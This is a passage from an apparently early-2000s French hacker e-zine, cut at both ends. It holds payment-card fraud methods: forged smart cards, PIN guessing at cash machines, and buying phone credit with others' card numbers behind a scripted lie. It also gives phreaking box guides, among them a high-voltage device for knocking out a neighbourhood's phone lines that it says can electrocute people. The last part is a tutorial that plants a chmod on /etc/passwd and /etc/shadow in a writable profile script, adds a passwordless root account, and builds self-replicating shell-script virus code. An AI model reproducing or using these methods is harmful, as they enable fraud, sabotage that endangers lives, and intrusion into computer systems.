quel moyen des numros de 16 chiffres et de les transcoder sur une carte puce programmable (pour cela vous avez besoin d'un card copier et d'un card reader -200 balles- videmment). Vous vous pointez un distributeur de billets, et vous insrez la carte. La technique est simple mais chiante : essayer tous les codes PIN existants. Seulement il faut savoir qu'au bout de trois essaie votre carte est avale. Donc vous devrez tourner et faire tous les distributeurs de la ville ! Mais bon a c'est pour ceux qui veulent s'clater un peu entre potes le week end ; quelle satisfaction quand a marche enfin ! Autre mthode (plus scientifique et estampille "Humpich") : nous allons appliquer la formule des 96 chiffres 640 bits. Mthode: -gnrer un numro de 16 chiffres attribu une banque (qui commence avec un indicatif choisi) -une date d' expiration au hasard -un nom de porteur -on encode ces informations au format exadcimal. -le rsultat comportera 48 chiffres dcimaux. Ce rsultat s' appelle l' identifiant (Id) -pour obtenir le fameux numro 96 chiffres, on multiplie par 1+2^160 -on obtient le numro 96 chiffres (calculs dispo ici) lev la puissance exposant priv modulo. Le rsultat est une numro de 96 chiffres 320 bits (valeur d'authentification) -en ait le numro final 96 chiffres est l'association de 2 nombres de 48 chiffres ; ces nombres doivent tre gravs sur la puce de la carte blanche. Le seul inconvnient de la technique c'est que vous vous cassez le cul pendant des heures et aprs vous devez changez de numro car comme je vous l'ai dit la liste des numros interdits est mise jour tous les soirs. 3. Cartes tlphoniques rechargeables C'est la partie du carding qui attire le plus les newbies dans ce domaine. Qui n'a jamais rv de tlphoner gratos ? Le Carding au profit du phreaking, c'est la classe totale. Vous n'avez pas sortir la nuit avec vos pieds de biche pour faire du beige-boxing. L il vous suffit de ruser une bonne fois pour tout et c'est free pour tout le monde. Vous pouvez tlphoner en plein jour, quel bonheur ! La technique est simple: on va chercher un numro de Cb attribu, puis on va tlphoner un service de tlcartes rechargeables. On vous demande gnralement le numro de votre Carte Bancaire ainsi que la date d' expiration. Ne commencez pas flipper, tout le monde sait maintenant que la date d'expiration ne sert rien ! Cela dit des mesures ont t prises ; ils demandent parfois le nom du porteur et se mettent en contact direct avec la banque (a c'est pas nouveau) pour vrifier la validit de votre compte. Le seul ppin que vous pourriez avoir, c'est si le service clientle vous annonce que ce numro est dj attribu un abonn. Bah l, ne raccrochez pas au nez a fait pas crdible, jouez le jeu juqu'au bout, dites "ah? Mais c'est pas normal. C' est ma copine, elle a du se tromper en crivant. Bah tant pis je rappelle tout l'heure". Bon ok ils sont pas cons mais a coute rien de jouer Marlon Brando juste deux secondes. =><(- Der Freirahk -)><= ^^^^^^^^^^^^^^^^^^^^^^^^ # # ### # ## ### ## #### ##### ### ##### ##### #### ###### ##### ###### ###### ##### ####### #### ################### #### ################################# ########################## ################## ######################### ############## ## ## いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい PHREAKING FOR THE NEW SCENE (PART II) いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい La suite du "Phreaking for the New Scene" est disponible !!! Au programme : Blotto Box, Blue Box, Pink Box & Red Box. Je prcise par contre que tous ces tutorials sont disponibles sur le site de Phreakon, et je les en remercie (et voui : pas un article de moi dans cette deuxime partie... quel flmard ! mdr). Sans transition, let's go ! --> La Blotto Box ou comment niquer le rseau tlphonique d'un quartier ************************************************************************* (Phreakon) >> La Blotto box : foutagedegueuledenewbies? : La blotto box existe !! Ce qui tait au dbut une blague pour phreaker innocent finallement tait conue par le seul phreaker expert sur le voltage des lignes (ah bon c'est le seul...;-): The Traveler. Il est aussi le crateur de la White, Gold, de l'Aqua, de la Diverti et de la Cold Box. Donc, pour ceux peu clair sur la Blotto, voila un bref rsum de la lgende. >> The Blotto box : Tous les phreakers ont rv un jour de cette box. Comme je l'ai dj dit, initiallement, elle a t conue comme une farce. Mais bon elle est faisable...!!! C'est vraiment le pied cette box... avec elle vous pouvez laisser les tlcoms sur les genoux. Pouquoi? Ben parce ce splendide appareil peut mettre 'out' les lignes tlphoniques partout o vous le souhaitez. Rsultat : plus aucun appel rentrant ou sortant de la zone choisie (ni interieur ou exterieursi vous voulez savoir). Et cette box ne stop jamais! Les impulsions lectriques qu'elle met ouvre toutes les lignes!! Et a n'arrte pas de Ring, Ring, Ring.... Le voltage est maintenu tant que le gnrateur est en marche... Je dis bien gnrateur et pas 220...Mais c'est risqu!!! Toute personne trop proche de la box avec un phone peut etre lectrocute !! Alors faites gaffe.... Bien sur la Blotto peut tre arrte en coupant la ligne ou en arrtant le gnrateur. Mais alors si ils coupent la ligne, ils risquent de ne plus rien recevoir pour un bon bout de temps... encore une fois : a craind vraiment de faire cette box,je vous le conseille pas!! Tant qu'il y a du courant, elle continue... OK, voil sa fonction, maintenant, voil comment la faire... >> Fonctionnement de la Blotto et Installation : Quand vous avez installe une Blotto, vous ne pouvez plus faire demi-tour. Les instructions suivantes sont pour la construction et l'utilisation. Lisez bien les avertissements plus haut avant d'essayer de la construire.. Matos : * Une ralonge lctrique (supportant le 400 V) donc la fiche femelle est mise dans la prise tlphonique. * Un gnrateur portable Honda, ou un du type que l'on trouve dans les stades.. * Une prise tlphonique (pas la votre et pas dans votre zone). * Une tlcommande distance ou une perche ISOLANTE. * Un voltmtre attacher la box elle-mme. * Un fer souder Maintenant. Vous devez avoir lu les instructions plus haut. Si c'est pas le cas, retournez-y ! Pour les autres, j'explique en dtail. Prenez le gnrateur Honda et tous le reste de l'quipement et sortez la recherche de la box gnral du quartier (quelle soit en contact avec le sol!). Premire note : Si vous avez allum le gnrateur et avez fait tous a dans l'ordre, cette heure si, vous devez tre point, bien grill! Toujours garder le gnrateur off tant que vous n'avez pas commenc. Maintenant soudez les lignes prudemment. Placez la tlcommande distance sur le gnrateur.Si vous avez pris une perche, prenez la longue et tenez vous aussi loin que possible du gnrateur. (cette mthode n'est pas conseill!!!) Deuxime note : Si tout c'est bien pass, vous remarquerez que toutes les lignes sonnent dans le quartier. Ne revenez pas sur les lieux de votre crime sans avoir stopp le gnrateur distance. La tension est tellement forte dans la zone que si vous vous approcher vous tes MORT !! Eh pis non, ne revenez pas !!!!!!! Si vous tes encore en vie aprs le montage, cassez vous, tant pis pour le matos !!!!. --> La Blue Box ou comment tlphoner gratis ********************************************* (Phreakon) Intro Tout d'abord on doit savoir que le blue boxing a exist en premier en Amerique. La-bas, il y a diffrents types de rseau telephonique fonctionnant avec un certaine hirarchie. Un reseau telephonique est implant dans chaque ville, avec une centrale qui gre les appels d'un apelant d'une ville vers un appel de la mme ville. Exemple : J'habite une ville A et je veux appeler un ami habitant dans la mme ville A ; c'est la centrale de ma ville qui va s'occuper de diriger l'appel vers celui que je veux appeler. ------- lignes normales ] [ +++++ lignes trunks MOI ------ CENTRALE de la ville A ------ MON AMI Mon appel telephoonique va passer par des lignes normales de tlphone. Autre exemple : Maintenant, si j'appelle un ami (je me trouve tjrs ds la ville A) qui se trouve dans le mme Etat A que moi (californie par exemple) mais dans une ville differente on va dire la ville B ; la centrale telephonique de ma ville A va contacter le centrale telefonique de l'etat A et celui ci contacter la centrale telephonique de la ville B (ou habite mon ami) afin de transmettre l'appel mon ami. Tout cette communication s'effectuera sur des lignes normales. MOI (ville A)(tat A) --- CENTRALE de la ville A --- CENTRALE de l'tat A --- || MON AMI (ville B)(tat A) <--- CENTRALE de la ville B Pour l'instant vous devez vous dire il me fait chier avec ses explications la con, moi je croyais lire un article sur le blue boxing. ON Y VIENT... mais un dernier exemple. Encore un autre exemple:) : Maintenant je veux appeler un copain qui ne se trouve pas dans le meme tat que moi mais dans l'etat B et dans une ville C se trouvant dans cet etat (B). Une chose va changer, on va passer par des lignes telephoniques trunks ,et c'est sur ces lignes que s'oppere le blue-boxing. Une explication en image:) : MOI (ville A)(tat A) --- CENTRALE de la ville A --- CENTRALE de l'tat A || CENTRALE de la ville C (situ ds l'tat B) --- MON AMI (ville C)(tat A). CENTRALE de l'tat B La ligne trunk se trouve entre la centrale de l'etat A et de l'etat B et en regle gnrale, les lignes trunks sont les lignes telephoniques reliant les centrales telephoniques de deux etats. On rentre dans le vif du sujet.... C'est lignes trunks sont un peu particulieres car pour indiquer aux centrales de deux etats qu'il y a aucune communication ont fait passer dans ces lignes une tonalit de 2600 Hz [vous connaissez cettte frquence : )]. Et lorsqu'une ligne trunk est en activit et par consquent quelqu'un s'en sert pour telephoner, la tonalit de 2600 Hz ne s'met pas. Donc comment pourait on faire croire a une centrale q'on est pas en communication, tout simplement en crant cette tonalit de 2600 Hz. Voila le principe du blue-boxing : gnrer une tonalit de 2600 Hz afin de faire croire que la personne qu'on appel ne dcroche pas son telephone ou qu'elle a racroch. Un petit exemple : J'appel mon copain ; il dcroche ; je gnere une tonalit de 2600 Hz pendant 1 a 2 secondes . Le centrale va croire que celui que j'appelle a racroch et donc j'arreterais de payer la communication. Voil comment les phreakers l'utilise, car au dpart, la blue box servait aux techniciens des telecoms pour tester une ligne. Seuls quelques uns connaissaient cette mthode mais ensuite, les telecoms se sont appercus d'une utilisation frauduleuse de la tonalit du 2600 Hz. Aux Etats-Unis, seuls quelques postes telephoniques avaient le droit d'utiliser la tonne de 2600 Hz ,une liste des postes tlephoniques ayant droit tait etablie et une seconde liste indiquant les numeros s'etant servi de la tonalit de 2600 Hz aussi. Ainsi en comparant les deux listes, les telecoms voyait le numero de ceux qui avait utilis la blue-box sans y etre autoris. La seule solution pour passer a travers les mailles du filet tait alors de se debrouiller pour se trouver sur la liste des numeros de telephone autoris. Quelques solutions : - Avoir un voisin technicien des telecom . - Faire croire aux telecom qu'on a un problme sur notre ligne pour qu'il teste cette ligne et que notre numero soit sur la liste des " ayant droit " (cette solution tant phemre). - Ou hacker le serveur ou sont stocks les numro de tlphone " ayant droit " afin de rajouter le sien (cette solution etant rserv aux lites car ces serveurs la, ne doivent pas tre accessible a tout le monde... Aujourd'hui le blue-boxing a disparu car la frquence des 2600 Hz a t modifi par des frquences trs difficile a reproduire et necessitant du materiel couteux rserv aux milliardaires ou aux lites. Triste fin pour cet superbe box. PS : Nous recherchons les montages de la blue-box. Si vous les possdez : phreakon@caramail.com --> Les confrences tlphoniques faciles : la Pink Box ******************************************************** (Phreakon) Dfinition : Elle concerne les possesseurs de double lignes tlphonique. Cette box n'a rien d'illgal SAUF si vous commencez la vendre car le matriel tant dpos, vous enfreignez la loi. Quoi qu'il en soit, en quippant nos potes on peut se faire des runions vraiment beaucoup sans se casser trop le cul. La pink-box permet de relier les deux lignes afin que, lors d'un appel on puisse se faire une conversation trois, les deux tlphones permettent la mise en attente et le montage est trs facile raliser. Matos : - deux tlphones - 6 interrupteurs - du fils lctrique - 8 pinces crocos - un fer souder - de la bonne soudure VOIR WWW.PHREAKON.FR.ST POUR LE SCHEMA DU MONTAGE. --> Fucker les cabines FT : la Red Box *************************************** (Phreakon) La red-box est un montage lectronique (assez compliqu comme la plupart des boxes) qui s'appliquait du temps des cabines tlphoniques pice. Vers chez moi je n'ai jamais trouv de cabines pices... Son rle tait d'mettre un son (qui simulait un ajout de pice dans la caisse de la cabine) et qui faisait croire aux centrales tlphoniques, que l'utilisateur de la cabine avait rajout une pice. Il existait plusieurs frquences de sons selon le montant de la pice ajoutes. Il existe des programmes qui servent reproduire les sons de la Red-Box alors si vous trouvez une cabine pice, la diffusion de ces sons devraient encore fonctionner... Si vous avez plus d'infos, contactez nous --> Phreakon@caramail.com --> Dans le prochain numro **************************** Dans le prochain numro, on aborde le rseau GSM !!! Prparez-vous : on va parler de la structure du rseau, du fonctionnement de l'IMEI, quelques codes Sagem, comment recharger une Entre Libre, etc... A la prochaine !!! ~)- Redoxx -(~ ^^^^^^^^^^^^^^^^^^ # # ### # ## ### ## #### ##### ### ##### ##### #### ###### ##### ###### ###### ##### ####### #### ################### #### ################################# ########################## ################## ######################### ############## ## ## いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい RATMODE : L'HOMO-COMPUTUS いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい Et toa keske tu fous bagnauder dans les roots sombres de l'internet cette heure l ? > je bouffe mon forfait ratm0de : la pense une longueur Les Cabalistes nous disent que " ce monde " est ainsi appel parce qu'il est un petit fragment de l'authentique ralit. Ce fragment n'est que ce que nous sommes en mesure de percevoir au moyen de nos cinq sens. Si nous dveloppions d'autres sens, ce que nous pourrions alors percevoir porterait le nom de " Monde futur ". Pourquoi cette dnomination ? Parce qu'il s'agirait d'un fragment plus important de la vritable ralit. Au contraire, le RatMode est un fragment REDUIT de notre ralit. C'est le moment o un simplement complexe monde logique cr蜑 par les sysaupes et votre conscience rduite sont les plus proches, entrainant la posture caractristique qui lui a valu son nom ;> Le sujet est alors mme de fonctionner une vitesse inconcevable. Hlas, personne n'a ce jour pu le mesurer scientifiquement. Il semblerait en effet que le passage en 'ratmode' ne soit possible qu'en solitaire et/ou seulement avec d'autres programmeurs vous tournant le dos dans l'athmosphre enfume. La soif de connaissance est ce qui pousse le rat dans les pipes et les gouts. Qu'importe, le rat aime les gouts, et il y creuse des trous ! [Argg] ~-/- Lonard -\-~ ^^^^^^^^^^^^^^^^^^^^^ # # ### # ## ### ## #### ##### ### ##### ##### #### ###### ##### ###### ###### ##### ####### #### ################### #### ################################# ########################## ################## ######################### ############## ## ## いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい SHELL SCRIPT INFECTION いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい Sommaire ********** \x00/ Disklamer \x01/ Introduction \x02/ Analyse du besoin \x03/ Etude theorique de fonction \x04/ Mise en place du code \x05/ Observation en laboratiore \x06/ debugging & ajout de fonction \x07/ gachette, trojan & optimisation \x08/ Recapitulation \x09/ Conclusion \x0a/ FIN Annexe 1 : BourneShell code de Absurdus Delirium 2.0 by ThreaT. \\0x00// DISKLAMER @@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@ Apres quelques mois (voir annes) d'absence sur le "visible" de la scene underground franaise, j'ai decid de vous faire un exposer encore jamais vue ma connaissance (pas en franais en tout cas). un article sortie de l'ombre, pour ce montrer ceux qui aurait put nous oublier... le titre pouvant tre mal interpret, je prefere prevenir tout de suite: le VIRUS qui vas tre exposer n'est aucunement un code destin la destruction! cet article va traiter de la mise en oeuvre d'un code viral qui nous donneras la possibilite d'exporter des commandes, visant deverouill une politique de scurit mis en place sur une architecture rseaux de type unix/linux. ----------------------------------------------------------------------------- aucun de ces codes sources & explications n'ont t pomp ou que ce soit! cet article n'est pas un vulgaire copier coller traduit d'un mag trouv aux fin fond d'un dd perdu. merci de ne pas confondre notre travail avec ce que vous avez l'habitude de voir le plus souvent. ------------------------------------------------------------------------------ je ne suis en aucun cas responsable de la mauvaise utilisation & interpretation de cet article. celui ci, s'adressant aux personnes desireuses d'tendre leurs connaissances dans le domaine de l'informatique, suppose une bonne pratique de Linux ou de tout autre systme Unix. toutefois, je prefere vous prevenir qu'il est distribu titre d'information sur les possibilites offertes aux "utilisateurs avertis". l'ortographe n'tant pas du tout mon point fort, je vous pris de m'en excuser. ps: si vous avez des problmes de visualisation, cet article a t crit sous GXedit 1.23. merci de vous en rferer ce traitement de texte \\0x01// INTRODUCTION @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ beaucoup de gens restes encore sceptique l'ide de mettre sur pied du code infecteur sous linux. il est vrai que cela peut paraitre difficile, vue que les acces aux fichiers peuvent tre rigoureusement controls. Et pourquoi, ne pas faire justement, un virus (j'entend par la, code qui ce replique) qui servirait au bypassage de restrictions. Un virus modifiable en bash qui tenterais de s'auto-repliquer travers tout les scripts auquels il a acces, incluant un code trojan que l'on pourrait modifer notre guise, et qui nous donnerais un lien direct tout les uid utilisateurs infectes! pas possible, me repondrez vous! n'avez vous pas pensez qu'un systme informatique a pour proprite le partage de l'information? et que meme si un systeme utilise un verrouillage de fichier par utilisateur, que peut tre 2 uid pourraient utiliser le mme fichier? surement que si que vous y avez penss! nous aussi... \\0x02// ANALYSE DU BESOIN @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ Dans un environnement unix, tout utilisateur a la possibilits, d'crire, de lire et d'xcuter des scripts. ainsi, les commandes incluent dans ce genre de fichier sont executes avec l'uid de l'utilisateur qui les invoques, comme tout excutables. l'avantage des scripts bash, et que tant trs puissant, ils sont largement utiliss travers la communaute unix, offrant un moyen rapide et simple mettre en oeuvre de minis applications qui depassent largement les possibilites offertes par les pseudos-scripts batch, ou cmd incluent dans les environnements microsoft. de ce faite, une attaque trs connue consiste trouver, ou crer un script, qui seras invoqu par un uid different du notre, et d'y inclure des commandes que l'uid victime auras l'autorisation d'xcuter, on appelle cela, la technique du cheval de troie (qui n'a rien voir avec les TROJANS pour lamerz que vous connaissez) le problme avec cette technique, est de trouver un script en own write acces, utilis par une autre entite. cela peut durer des jours, voir mme des mois d'observation sur la manire et les habitudes d'utilisations que font les gens de leurs systmes. voici une demonstration d'attaque par cheval de troie sur un systme dont je connais super bien le root, et chez qui j'ai un acces user simple. [root@ThreaT@workgroup /root]# telnet maverick Trying 163.65.80.90... Connected to Maverick.workgroup. Escape character is '^]'. Welcome to Maverick.workgroup Linux Mandrake release 7.0 (Air) Kernel 2.2.14-15mdk on an i686 login: threat password: Warning : your password will expire in -1 days last login: Sun Mar 19 16:58:00 on tty4 [ThreaT@Maverick@workgroup threat]$ ls -l /etc/profile.d/*.sh -rwxr-xr-x 1 root root 672 Mar 13 14:11 /etc/profile.d/alias.sh* -rwxr-xr-x 1 root root 191 Mar 13 14:44 /etc/profile.d/color_ls.sh* -rwxr-xr-x 1 root root 133 Jan 12 06:36 /etc/profile.d/inputrc.sh* -rwxr-xr-x 1 root root 192 Jan 7 15:00 /etc/profile.d/kde.sh* -rwxr-xr-x 1 root root 1682 Mar 13 14:18 /etc/profile.d/lang.sh* -rwxr-xrwx 1 mav root 38 Jun 14 18:48 /etc/profile.d/mav.sh* -rwxr-xr-x 1 root root 167 Jan 4 22:50 /etc/profile.d/mc.sh* -rwxr-xr-x 1 root root 267 Dec 22 18:24 /etc/profile.d/numlock.sh* -rw-r--r-- 1 root root 0 Feb 23 21:18 /etc/profile.d/proxy.sh -rwxr-xr-x 1 root root 103 Dec 21 14:44 /etc/profile.d/screen.sh* -rwxr-xr-x 1 root root 152 Mar 13 14:15 /etc/profile.d/xhost.sh* [ThreaT@Maverick@workgroup threat]$ comme je viens de le dire, je connais super bien le root (ben oui, c'est maverick) bon, je sais que maverick a modifie son profile, et c'est cre un script qui lui dit "bonjour matre" chaque fois qu'il lance un shell root, ou un shell utilisateur qu'il c'est cre titre perso. seulement, ce qu'il ne sait pas, c'est que l'user "mav", qui lui a servit cre son script possede un umask de 020! pour ceux qui n'auraient pas compris, cela veut dire que chaque fois que maverick cre un fichier avec son utilisateur "mav", celui ci se retrouve en read write exec pour lui mme, read et exec pour le groupe, et read write exec pour les autres :) ce qui veut dire que nous possedons la un script own write access!! -rwxr-xrwx 1 mav root 38 Jun 14 18:48 /etc/profile.d/mav.sh* cette observation tant faite, il ne reste plus qu' agir. [ThreaT@Maverick@workgroup threat]$ echo "chmod 777 /etc/passwd && chmod 777 /etc/shadow" >> /etc/profile.d/mav.sh on attend que maverick balance un root shell... [ThreaT@Maverick@workgroup threat]$ ls -l /etc/passwd /etc/shadow -rwxrwxrwx 1 root root 796 Mar 13 13:58 /etc/passwd -rwxrwxrwx 1 root root 712 Mar 13 13:58 /etc/shadow [ThreaT@Maverick@workgroup threat]$ echo "owned:*:0:0:::" >> /etc/passwd [ThreaT@Maverick@workgroup threat]$ echo "owned::11035:0::7:::0" >> /etc/shadow [ThreaT@Maverick@workgroup threat]$ su owned Warning: your password will expire in -1 days [root@Maverick@workgroup /]# whoami root ok, jusque la, tout est trs simple. mais imaginons un instant, que je veuille prendre la main sur tout un parc info. n'ayant pas le temp d'aller me promener en temps que root dans tout les acces de maverick sur le reseau, il me serait pratique qu'un code auto-reproductible, incluant ma commande trojan puisse se reproduire travers tout les scripts own write access d'un utilisateur infect. ce qui aurait pour avantages : - le boulot serait fait par les autres, et cela sans qu'ils s'en appercoivent - impossibilite de reperer mon compte dans la tracabilite des modifications - possibilite d'infecter plusieurs utilisateurs (qui permet de chopper different uid) - possibilite d'infecter TOUT le systme, si root est infect, ce qui peut permettre au virus de pass sur d'autres becanes - possibilite de cre un lien dans le repertoire temporaire qui nous donnerait un contrl commande sur tous les utilisateurs infects. - possibilite de rajouter des fonctions une fois que le virus est implemant possibiliter de faire travailler votre imagination est votre creativite, pour infiltrer des systmes sans tres des moutons du hack moderne... tout cela vous plait? alors teignez la musique, dite mm de baisser le son de la tl, et concentrez votre partie du cerveau qu'on appelle le cerveau cortical sur les lignes qui vont suivre.. car nous allons commencer... \\0x03//ETUDE THEORIQUE DE FONCTION @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ notre but et en premier lieu de cre un script auto-reproductible, capable d'infecter tout shell script! nous nous trouvons tout de suite devant 5 exigences: - reconnaitre un shell script d'un autre fichier - extraire son propre code du code porteur - pointer le script infecter - reconnaitre un script porteur d'un script saint - ecrire le code virale dans le code cible 001/ reconnaitre un shell script, d'un autre fichier ##################################################### pour assurrer cette exigence, nous allons nous referez la commande "file" "file" est une commande permettant de determiner le type de fichier point par son argument. (pour plus de detaille, man file) un petit exemple : [root@ThreaT@workgroup /root]# file core core: ELF 32-bit LSB core file of 'kioslave' (signal 11), Intel 80386, version 1 [root@ThreaT@workgroup /root]# file /bin/login /bin/login: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), stripped [root@ThreaT@workgroup /root]#file /sbin/ifdown /sbin/ifdown: Bourne shell script text donc, comme on peut le voir, file nous dit quel type de fichier on a faire. dans l'exemple si dessus, on voit que core est un dump memoire gener par kioslave, /bin/login est un executable 32-bit et /sbin/ifdown est un Bourne shell script (ce qui nous interresse :) bon, ok, mais comment constituer un script qui feras la diffrence entre tout ce bordel? trs simple, il suffit de rediriger la sortie de commande dans un fichier tampon que nous analyserons par la suite a l'aide de la commande grep. pour exemple, voici un shell script qui va analyser tout les fichiers du repertoire courant, et nous retourner le nom de tout les Bournes shell scripts --------cut--------------------- #!/bin/sh #bsearch.sh by ThreaT for fichier in * do file $fichier > /tmp/t if grep "shell" /tmp/t > /dev/null; then echo "$fichier est un Bourne shell script" fi done rm -f /tmp/t #fin du script ---------cut---------------------- voici le resultat produit dans un repertoire courant comme si dessous: [root@ThreaT@workgroup /root/script]# chmod +x bsearch.sh [root@ThreaT@workgroup /root/script]# ls bsearch.sh* core ed* igawk* install.log ping* remadmin* [root@ThreaT@workgroup /root/script]# ./bsearch.sh bsearch.sh est un Bourne shell script igawk est un Bourne shell script remadmin est un Bourne shell script [root@ThreaT@workgroup /root/script]# ok, maintenant on sait reconnaitre un bourne shell script d'un autre fichier. 010/extraire son propre code du code porteur ################################ pour cela, rien de plus simple, nous allons nous appuyez sur la commande "grep" comme au dessus. grep est une commande qui affiche les lignes correspondant un motif donn, c'est dire que celui ci peut extraire toute chaine contenant le mme mot (pour plus de prcision, man grep) un exemple, j'ecrit un fichier texte quelconque [root@ThreaT@workgroup /root]#vi texte !!salut les bob, ceci est un fichier qui vas nous servir de test c'est a dire que nous allons tenter d'extraire celui ci pour y lire ce qui nous interresse!! <:wq!> maintenant, je vais extraire du texte les lignes contenants un "!!" [root@ThreaT@workgroup /root]# grep "!!" texte !!salut les bob, ceci est un fichier qui vas nous servir de test pour y lire ce qui nous interresse!! [root@ThreaT@workgroup /root]# comme vous avez put le remarquer, grep a sortie de notre texte les 2 lignes comportant le motif qu'on lui a indiqu. ce qui veut dire que notre code viral doit comporter dans chacune de ces commandes un motif identique qui pourras tre extrait par grep, mais qui ne doit pas tre dans le code porteur. sachant que grep differencie les majuscules des minuscules, nous n'aurons pas trop de mal! mais ou allons nous placer cette chaine identique qui seras en quelque sorte la "signature" de notre virus? ben c'est trs simple, il suffi de la placer en commentaire chaque fin de commande. un exemple: ce petit script va diffrencier les chaines virals, des chaines porteuses l'interieur de lui mme -----cut---------- #!/bin/sh #virsign.sh, by ThreaT echo "je suis une chaine viral" #MvM echo "je suis une chaine viral" #MvM echo "je suis une chaine viral" #MvM echo "je suis une chaine viral" #MvM echo "je suis une chaine porteuse" echo "je suis une chaine porteuse" echo "je suis une chaine porteuse" echo "je suis une chaine porteuse" echo "--------------------------" echo "attention, le petit virus vas sortir" echo "------------------- ------" grep "MvM" $0 echo "il est sortie l'ecran" echo "mais il peut sortir aussi dans un fichier" echo "par simple redirection" grep "MvM" $0 > viruss echo. echo "si vous ne me croyez pas tapez 'cat viruss'" #fin du script ------cut---------- executons cette petite saloperie [root@ThreaT@workgroup /root/script]# chmod +x virsign.sh [root@ThreaT@workgroup /root/script]# ./virsign.sh je suis une chaine viral je suis une chaine viral je suis une chaine viral je suis une chaine viral je suis une chaine porteuse je suis une chaine porteuse je suis une chaine porteuse je suis une chaine porteuse -------------------------- attention, le petit virus vas sortir ------------------- ------ echo "je suis une chaine viral" #MvM echo "je suis une chaine viral" #MvM echo "je suis une chaine viral" #MvM echo "je suis une chaine viral" #MvM grep "MvM" $0 grep "MvM" $0 > viruss il est sortie l'ecran mais il peut sortir aussi dans un fichier par simple redirection si vous ne me croyez pas tapez 'cat viruss' [root@ThreaT@workgroup /root/script]# ls bsearch.sh* core ed* gawk* install.log ping* remadmin* virsign.sh* viruss on voit bien que le script a cre un nouveau fichier appell viruss [root@ThreaT@workgroup /root/script]# cat viruss echo "je suis une chaine viral" #MvM echo "je suis une chaine viral" #MvM echo "je suis une chaine viral" #MvM echo "je suis une chaine viral" #MvM grep "MvM" $0 grep "MvM" $0 > viruss [root@ThreaT@workgroup /root/script]# et que celui si contient bien les chaines extraites du script porteur ce qui veut dire que par la suite, nous pourrons rediriger ces quelques lignes la suite d'un script point par notre virus. tudions sa tout de suite 011/pointer le script infecter ##################### si vous avez compris la premire partie, sa va tre trs facile. pour obtenir une chaine contenant tout les scripts infecter, nous allons utiliser les variables d'environnements l'interieur de notre boucle de recherche, c'est a dire qu'au lieu de retourner le nom du script trouv dans l'exemple "001" (bsearch.sh) l'ecran, nous allons placer ce nom dans une variable d'environnement que nous aurons formats afin que celle si puisse tre utilise par une autre boucle de type for ce qui nous donne: ---------cut---------------- #!/bin/sh #bsearch2.sh by ThreaT for fichier in * do file $fichier > /tmp/t if grep "shell" /tmp/t > /dev/null; then var="$var $fichier" #on assigne le nom trouver a une variable d'environnement en formattant de la facon 'fichier fichier fichier..." fi done rm -f /tmp/t echo "nous allons maintenant jetter un oeil a \$var pour voir ce qu'il contient" echo " -------------------" echo "$var" #fin du script ----------cut-------------------- voyons ce que sa donne: [root@ThreaT@workgroup /root/script]# chmod +x bsearsh2.sh [root@ThreaT@workgroup /root/script]# ls bsearch.sh* bsearch2.sh* core ed* igawk* install.log ping* remadmin* virsign.sh* virsign.sh~* viruss [root@ThreaT@workgroup /root/script]# ./bsearch2.sh nous allons maintenant jetter un oeil a $var pour voir ce qu'il contient ------------------- bsearch2.sh bsearch2.sh~ bsearch.sh igawk remadmin virsign.sh virsign.sh~ comme on peut le voir dans cet exemple, la chaine d'environnement contient le nom de tout les shell scripts du repertoire courant, ce qui veut dire que nous allons maintenant pouvoir assigns cette variable une boucle for. et comme nous avons formats la chaine avec des espaces "fichier fichier fichier..." et que for utilise en argument des chaines spaces, nous allons pouvoir effectuer des manipulations independentes sur chaque script contenu dans cette variable. c'est pas la classe sa! 100/reconnaitre un script porteur d'un script saint ################################### maintenant qu'on sait pointer un script, et le soummettre de multiple test, il serait interresant de savoir si celui ci n'est pas deja infect, car si cette vrification n'est pas assure, c'est toute l'integrite du systme qui risque d' tre compromise pour cause de sur-infection! car le virus infecterait toujours les mmes scripts, et ferait evolu la taille des fichiers en consequence. heureusement pour nous, l'opration va tre super facile! on va utiliser notre amis GREP en lui donnant pour argument une chaine UNIQUE compose de caractres alteres, comme sa, nous serons sur de l'tat du fichier cibl. un petit exemple: nous allons apporter une petite modification au script du dessus ----------cut------------------- #!/bin/sh #detect.sh by ThreaT for fichier in * do file $fichier > /tmp/t if grep "shell" /tmp/t > /dev/null; then var="$var $fichier" fi done rm -f /tmp/t for inspect in $var do if grep "iNFeCtiON" $inspect > /dev/null; then echo "$inspect est infecter" fi done #fin du script ----------cut------------------- ok, maintenant, nous allons prendre dans notre repertoire courant un ou deux bourne shell, et on vas leur foutre la chaine "iNFeCtiON" au cul [root@ThreaT@workgroup /root/script]# ./bsearch.sh bsearch2.sh est un Bourne shell script bsearch2.sh~ est un Bourne shell script bsearch.sh est un Bourne shell script detect.sh est un Bourne shell script igawk est un Bourne shell script remadmin est un Bourne shell script virsign.sh est un Bourne shell script virsign.sh~ est un Bourne shell script [root@ThreaT@workgroup /root/script]# echo 